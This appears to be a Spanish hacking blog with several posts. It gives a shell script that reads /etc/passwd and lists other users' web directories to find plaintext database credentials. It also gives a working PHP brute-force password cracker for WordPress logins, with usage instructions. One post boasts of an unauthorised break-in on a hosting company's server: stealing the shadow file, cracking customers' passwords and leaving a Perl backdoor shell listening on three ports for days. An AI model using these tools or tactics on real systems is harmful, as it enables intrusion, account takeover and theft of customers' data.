/home/zerial

El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores.

1. #!/bin/sh
2. # Written by Zerial & Pons
3. # McDonald’s Day …
4. # 21.34, Jun 13 2006 - Updated: 01.41, Jun 15 2006
5. # # # # # # # # # # # # # # # # # # # # # # # # # #
6. #  ____  _      _   _            _
7. # |  _ (_)_ __| | | | __ _  ___| | __
8. # | | | | | ‘__| |_| |/ _` |/ __| |/ /
9. # | |_| | | |  |  _  | (_| | (__|   < # |____/|_|_|  |_| |_|__,_|___|_|_
10. #
11. # # # # # # # # # # # # # # # # # # # # # # # # # #
12. version="1.0.2"
13. if [ $# -lt 2 ]
14. then
15.         echo
16.         echo "DirHack eXploit $version"
17.         echo "This thing will list all sub-home directories"
18.         echo "that are accesable by the user running the"
19.         echo "script."
20.         echo -e "tusage: $0 id output-file bz2|gz|text (default is text)"
21.         echo -e "texample: $0 999 out bz2"
22.         echo
23.         break
24. else
25.         echo > $2
26.         if [ ! -w $2 ]
27.         then
28.                 echo "File $2 doesn’t have write permissions"
29.                 break
30.         fi
31.  
32.         freedirs="public_html public_ftp etc tmp mail"
33.         echo "Starting DirHack $version"
34.         echo "DirHack eXploit $version" >> $2
35.         for dir in $freedirs
36.         do
37.                 for user in `awk -F‘:’ ‘ {printf $1 "n"} ‘ /etc/passwd`
38.                 do
39.                         userhome=`cat /etc/passwd |grep $user: |grep :$(id -u $user): |awk -F‘:’ ‘ {printf $6 "n"}’`
40.                         fulldir=$userhome/$dir
41.                         if [ `id -u $user` -gt $1 ]
42.                         then
43.                                 if [ -d $fulldir ]
44.                                 then
45.                                         echo "" >> $2
46.                                         echo "————————————————————-" >> $2
47.                                         echo "User: $user" >> $2
48.                                         echo "Directory: $fulldir" >> $2
49.                                         echo "Size: `du -sh $fulldir`" >> $2
50.                                         echo "" >> $2
51.                                         ls -Rla $fulldir >> $2
52.                         fi
53.                 fi
54.                 done
55.         done
56.         case $3 in
57.                 bz2)
58.                         bzip2=`which bzip2`
59.                         if [ -x $bzip ]
60.                         then
61.                                 $bzip2 -f $2
62.                                 echo "File ready and compressed in $2.bz2"
63.                         else
64.                                 echo "No exec permissions for bzip2 or bzip2 not found."
65.                                 echo "File left uncompressed in $2"
66.                         fi;;
67.                 gz)
68.                         gzip=`which gzip`
69.                         if [ -x $gzip ]
70.                         then
71.                                 $gzip -f $2
72.                                 echo "File ready and compressed in $2.gz"
73.                         else
74.                                 echo "No exec permissions for gzip or gzip not found."
75.                                 echo "File left uncompressed in $2"
76.                         fi;;
77.  
78.                 *)
79.                         echo "File ready in $2";;
80.  
81.                 esac

Funcionamiento: Lee todos los usuarios desde /etc/passwd y luego, por cada usuario obtenido, ingresa al directorio public_html y lista, recursivamente, todos los directorios y subdirectorios. Generalmente, el usuario en el que corre apache se llama apache y obviamente, debe tener acceso de lectura a todos los directorios y ficheros que se desean mostrar, por ejemplo /home/user/public_html/index.php.

Si no tiene permisos de lectura para apache dificilmente se podria ingresar via web. Muchas veces, estos ficheros tienen permisos de escritura y de lectura y es cuando hay que actuar. Si no encontramos ficheros con permisos de escritura no importa, al menos tenemos acceso para leerlos. Por ejemplo, en los CMS mas populares como Wordpress, Joomla, etc. suelen tener un fichero de configuracion con el usuario y clave, en texto plato, de la base de datos con lo que podemos generar un script que nos permita ingresar y/o apoderarnos de esa base de datos.
Este script nos creara un listado, en txt (opcionalmente comprimido en gz o bz), con todos los ficheros y sus permisos, para que podamos indagar en la estructura de directorios.
Una forma de solucionar este problema es con chroot.

Wordpress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.

Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.

1. < ?php
2. ini_set("memory_limit", "100M");
3. function crackSite($wordlist, $url, $user, $attemps = 0)
4. {
5.         if($file = file($wordlist))
6.                 print "Read ".count($file)." words.n";
7.         else
8.         {
9.                 print "Can’t read word list file.n";
10.                 die();
11.         }
12.         $i = 0;
13.         rtrim($fields_string,‘&amp;’);
14.         foreach($file as $word)
15.         {
16.                 if(++$i%10 == 0)
17.                         print "Attempts: ".$i."/".count($file)." (".trim($word).")n";
18.                 $fields_string = "log=".$user."&amp;pwd=".trim($word);
19.                 $ch = curl_init();
20.                 curl_setopt($ch,CURLOPT_URL,$url);
21.                 curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
22.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
23.                 $result = md5( curl_exec($ch) );
24.                 if(!$oresult) $oresult = $result;
25.                 if($oresult != $result)
26.                 {
27.                         print "Password found: ".$word."n";
28.                         die();
29.                 }
30.                 curl_close($ch);
31.         }
32. }
33. crackSite($argv[1], $argv[2], $argv[3]);
34. ?>

Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:

$ php wp_cracker.php wordlist.txt http://sitio.com/wp-login.php Username

Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.

Requerimientos: Curl y PHP.

Video tutorial:

Descargar video:
Mirror 1: Hardmodding (5M)

Un router nos permite crear una ruta de ida y de vuelta de un paquete, se encarga de que dicho paquete llegue a su destino y que la respuesta llegue correctamente a su remitente. Nos servirá para “compartir” internet en nuestra LAN.

Un firewall nos va a permitir filtrar cierto trafico en nuestra red, por ejemplo habilitar o deshabilitar puertos, redireccionar, etc.

Para simplificar todo esto y poder compartir internet he creado un script bastante facil de usar y de configurar.

El script cuenta con lo siguiente:

• fichero para habilitar puertos (whitelist): Nos permite indicar que puertos están disponibles para usar.
• fichero para bloquear o banear ip (blacklist): Nos permite banear una serie de direcciones ip o host para que no puedan acceder a nuestra red.
• fichero para redireccionar puertos (redirect): Nos permite habilitar puertos para cualquier maquina que este en nuestra red y redireccionar todo el tráfico.

(leer más…)

Consegui acceso a un servidor hosting de una empresa cuyo nombre no lo mencionare, gracias a ese acceso me pude percatar, que el servidor donde estaba alojado el sitio contaba con una vaga, por no decir nula, seguridad en cuanto a proteccion de datos de sus clientes y proteccion del servidor en si. Con unos cuantos scripts en php logre ejecutar codigos arbitrarios que, de alguna forma, me entregaban el poder del sistema. Logre obtener varios datos importante sobre el servidor, distribucion, kernel, version de los paquetes, estructura de directorios, configuracion de servicios y lista de usuarios.

Intente ingresar al home de cada usuarios a ver si podia encontrar informacion confidencial que me sirviera para poder tomar el control total del servidor, me di cuenta que podia listar el directorio /home recurvisamente sin ninguna restriccion, usuario por usuario, directorio por directorio … En ese momento los usuarios eran poco y muy vulnerables. Todo esto lo hacia tras un script php, ejecutado desde la cuenta con la que pude acceder al servidor. Luego de eso, liste el directorio /etc y me percate que el archivo shadow y passwd estaban con permisos de lectura para cualquier usuario y entonces, descarge el shadow con las claves encriptadas de cada usuario (clientes de la empresa). Estaba programando una utilidad en C para crackear esas password encriptadas en md5 por fuerza bruta, pero me di cuenta que ya existia una utilidad asi, entonces abandone esa idea y use esa utilidad que lo que hacia, no era exactamente decifrar el password, sino que encriptaba digitos para luego comprobarlo con la encriptacion original, si coinciden ¡bingo!. Fuerza bruta quiere decir que va probando digito por digito (ej: a, aa, aaa, aaaa, b, ab, aab, etc…). Para apurar un poco este proceso, que podia tardar dias, escribi una lista de posibles palabras o numeros para que vaya probando, dentro de esa lista estaba la numeracion consecutiva desde el uno hasta el 6 y ¡sorpresa! TODOS los clientes tenian una cuenta en el sistema con acceso ssh con la esa clave. Cuando supe esto pense “que porqueria de seguridad …” y me di cuenta de inmediato que no me iva a costar nada tomar el control del servidor. Decidi dar a conocer este fallo de seguridad a los administradores del servidor, dejandoles un mensaje en el directorio donde se alojaba la pagina principal de la empresa y enviandole un email con el link para que lean ese mensaje, poco tiempo despues el mensaje desaparece, pero el agujero de seguridad aun existia pero cuando intente seguir intruseando los directorios de los clientes me di cuenta que habian sido restringidos, al intentar listar el directorio /home me decia “Acceso negado”, asi tambien al intentar listar el home de cada usuario, con esto me di cuenta que, quizas, leyeron el mensaje e intentaron solucionar el problema entonces, deje de molestar y entrar al sistema. Pasaron tres meses y volvi a verificar si existian fallos de seguridad y me di cuenta que si, aun habian entonces nuevamente, me aproveche. Con un script un poco mas evolucionado que el de antes (php) ejecute un script en perl que escuchaba un puerto a mi eleccion y emulaba una terminal en bash, como el servidor no tenia proteccion no me costo nada abrir el puerto, en este caso el puerto 31337, para conectarme via telnet. Deje corriendo el script perl (backdor) en 3 puertos distintos (1337, 31337, 8888) y estuvo corriendo minimo tres dias, sin que los administradores se dieron cuenta. Rapidamente pense … El script lo ejecute desde php entonces, el que ejecuta el script perl es el usuario nobody, verifique mi teoria ingresando via telnet y escribiendo el comando para saber quien era yo (whoami) y efectivamente, me devolvio nobody y volvi a pensar, rapidamente, si Apache puede leer las paginas de los usuarios, eso quiere decir que como nobody puedo ver el contenido de los public_html perteneciente a cada usuario. Esribi un script en bash que me recorra todos los public_html de los usuarios y me vaya guardando la salida en un arhivo, asi poder saber que cosas hay dentro de cada usuario, el archivo parecia eterno, pues los clientes habian aumentado mucho. La mayoria de estos nuevos clientes tambien tenian la clave.

(leer más…)